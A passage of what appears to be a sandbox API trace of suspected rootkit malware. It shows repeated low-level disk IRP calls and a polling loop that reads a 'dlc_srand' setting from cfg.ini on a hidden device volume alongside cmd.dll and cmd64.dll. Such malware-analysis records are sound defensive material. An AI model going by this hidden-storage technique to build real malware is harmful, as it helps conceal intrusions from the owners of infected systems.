BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5b000 [0125.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.469] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.469] IdePortDispatch () returned 0x103 [0125.469] KeWaitForMutexObject () returned 0x0 [0125.470] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.470] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.470] IdePortDispatch () returned 0x103 [0125.470] KeWaitForMutexObject () returned 0x0 [0125.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.470] KeLeaveCriticalRegion () [0125.470] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.470] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.470] KeEnterCriticalRegion () [0125.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.470] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.470] KeLeaveCriticalRegion () [0125.470] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.470] KeEnterCriticalRegion () [0125.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.471] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.471] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf77d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.471] KeLeaveCriticalRegion () [0125.471] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.471] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.471] KeEnterCriticalRegion () [0125.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.471] ExFreePoolWithTag (P=0xfffffa8003bf7070, Tag=0x0) [0125.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.471] KeLeaveCriticalRegion () [0125.471] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.471] ReleaseMutex (hMutex=0xf0) returned 1 [0125.471] Sleep (dwMilliseconds=0x124f80) [0125.484] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.484] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.484] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.484] KeEnterCriticalRegion () [0125.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.484] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.484] IdePortDispatch () returned 0x103 [0125.485] KeWaitForMutexObject () returned 0x0 [0125.485] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.485] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.485] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.485] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.485] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.485] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7960 [0125.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.485] KeLeaveCriticalRegion () [0125.485] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.485] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.485] KeEnterCriticalRegion () [0125.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.485] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.485] KeLeaveCriticalRegion () [0125.485] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.485] KeEnterCriticalRegion () [0125.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.485] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.485] IdePortDispatch () returned 0x103 [0125.485] KeWaitForMutexObject () returned 0x0 [0125.485] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.485] KeLeaveCriticalRegion () [0125.485] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.486] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.486] KeEnterCriticalRegion () [0125.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c60000 [0125.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.486] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.486] IdePortDispatch () returned 0x103 [0125.486] KeWaitForMutexObject () returned 0x0 [0125.486] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.486] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.486] IdePortDispatch () returned 0x103 [0125.486] KeWaitForMutexObject () returned 0x0 [0125.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.486] KeLeaveCriticalRegion () [0125.486] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.487] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.487] KeEnterCriticalRegion () [0125.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.487] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.487] KeLeaveCriticalRegion () [0125.487] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.487] KeEnterCriticalRegion () [0125.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.487] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.487] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.487] KeLeaveCriticalRegion () [0125.487] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.487] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.487] KeEnterCriticalRegion () [0125.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.487] ExFreePoolWithTag (P=0xfffffa8003bf7960, Tag=0x0) [0125.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.487] KeLeaveCriticalRegion () [0125.487] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.487] ReleaseMutex (hMutex=0xf0) returned 1 [0125.487] Sleep (dwMilliseconds=0x124f80) [0125.502] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.502] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.502] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.503] KeEnterCriticalRegion () [0125.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.503] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.503] IdePortDispatch () returned 0x103 [0125.503] KeWaitForMutexObject () returned 0x0 [0125.503] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.503] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.503] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.503] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.503] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.503] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7270 [0125.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.503] KeLeaveCriticalRegion () [0125.503] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.503] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.503] KeEnterCriticalRegion () [0125.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.503] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.503] KeLeaveCriticalRegion () [0125.503] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.503] KeEnterCriticalRegion () [0125.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.503] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.503] IdePortDispatch () returned 0x103 [0125.504] KeWaitForMutexObject () returned 0x0 [0125.504] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.504] KeLeaveCriticalRegion () [0125.504] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.504] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.504] KeEnterCriticalRegion () [0125.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.504] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c65000 [0125.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.504] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.504] IdePortDispatch () returned 0x103 [0125.504] KeWaitForMutexObject () returned 0x0 [0125.504] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.504] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.504] IdePortDispatch () returned 0x103 [0125.504] KeWaitForMutexObject () returned 0x0 [0125.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.504] KeLeaveCriticalRegion () [0125.504] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.505] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.505] KeEnterCriticalRegion () [0125.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.505] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.505] KeLeaveCriticalRegion () [0125.505] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.505] KeEnterCriticalRegion () [0125.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.505] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.505] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.505] KeLeaveCriticalRegion () [0125.505] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.505] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.505] KeEnterCriticalRegion () [0125.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.505] ExFreePoolWithTag (P=0xfffffa8003bf7270, Tag=0x0) [0125.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.505] KeLeaveCriticalRegion () [0125.505] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.505] ReleaseMutex (hMutex=0xf0) returned 1 [0125.505] Sleep (dwMilliseconds=0x124f80) [0125.520] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.520] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.520] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.520] KeEnterCriticalRegion () [0125.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.520] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.520] IdePortDispatch () returned 0x103 [0125.520] KeWaitForMutexObject () returned 0x0 [0125.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.520] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.520] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.520] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.520] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.520] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7270 [0125.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.520] KeLeaveCriticalRegion () [0125.520] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.520] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.520] KeEnterCriticalRegion () [0125.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.520] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.520] KeLeaveCriticalRegion () [0125.520] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.520] KeEnterCriticalRegion () [0125.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.520] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.521] IdePortDispatch () returned 0x103 [0125.521] KeWaitForMutexObject () returned 0x0 [0125.521] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.521] KeLeaveCriticalRegion () [0125.521] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.521] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.521] KeEnterCriticalRegion () [0125.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.521] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6e000 [0125.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.521] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.521] IdePortDispatch () returned 0x103 [0125.521] KeWaitForMutexObject () returned 0x0 [0125.521] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.521] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.521] IdePortDispatch () returned 0x103 [0125.521] KeWaitForMutexObject () returned 0x0 [0125.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.522] KeLeaveCriticalRegion () [0125.522] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.522] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.522] KeEnterCriticalRegion () [0125.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.522] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.522] KeLeaveCriticalRegion () [0125.522] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.522] KeEnterCriticalRegion () [0125.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.522] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.522] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.522] ExReleaseFastMutexUnsafe 